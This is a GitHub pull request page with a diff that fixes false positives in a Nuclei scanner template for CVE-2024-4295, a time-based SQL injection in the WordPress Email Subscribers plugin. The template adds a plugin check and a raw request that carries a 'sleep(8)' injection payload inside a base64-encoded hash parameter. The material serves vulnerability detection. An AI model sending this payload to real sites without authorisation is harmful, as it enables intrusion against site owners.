Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix FP CVE-2024-4295.yaml #11442

Open
wants to merge 1 commit into
base: main
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
23 changes: 19 additions & 4 deletions http/cves/2024/CVE-2024-4295.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -31,23 +31,38 @@ info:
fofa-query: body="/wp-content/plugins/email-subscribers/"
tags: time-based-sqli,cve,cve2024,wordpress,wp-plugin,wp,email-subscribers,sqli

flow: http(1) && http(2)

variables:
contact_id: "{{contact_id}}"
email: "{{email}}"
rawhash: '{"message_id":0,"campaign_id":0,"contact_id":"{{contact_id}}","email":"{{email}}","guid":"dibwol-qaiebd-qvrgkp-lhyopm-rmyfzo","list_ids":["sleep(3)"],"action":"subscribe"}'
rawhash: '{"message_id":0,"campaign_id":0,"contact_id":"{{contact_id}}","email":"{{email}}","guid":"dibwol-qaiebd-qvrgkp-lhyopm-rmyfzo","list_ids":["sleep(8)"],"action":"subscribe"}'

http:
- method: GET
path:
- "{{BaseURL}}"
- "{{BaseURL}}/wp-content/plugins/email-subscribers/readme.txt"

stop-at-first-match: true
host-redirects: true
max-redirects: 2
matchers:
- type: dsl
dsl:
- 'contains_any(body, "email-subscribers-", "Email Subscribers by Icegram Express")'
internal: true

- raw:
- |
@timeout: 20s
GET /?es=optin&hash={{ base64(rawhash) }} HTTP/1.1
Host: {{Hostname}}

matchers-condition: and
matchers:
- type: dsl
dsl:
- 'duration>=5'
- 'duration>=8'
- 'contains(body, "You have been successfully subscribed")'
condition: and
# digest: 4a0a00473045022100ef84d71b771f0dcbd197ffad01746ecd151e0b2003a65b67dcadb27ecd0a473902206ff2fe02e08e414a0195191853ce7d2b232dfacdeea953c89af0b715987fe263:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100ef84d71b771f0dcbd197ffad01746ecd151e0b2003a65b67dcadb27ecd0a473902206ff2fe02e08e414a0195191853ce7d2b232dfacdeea953c89af0b715987fe263:922c64590222798bb761d5b6d8e72950
Loading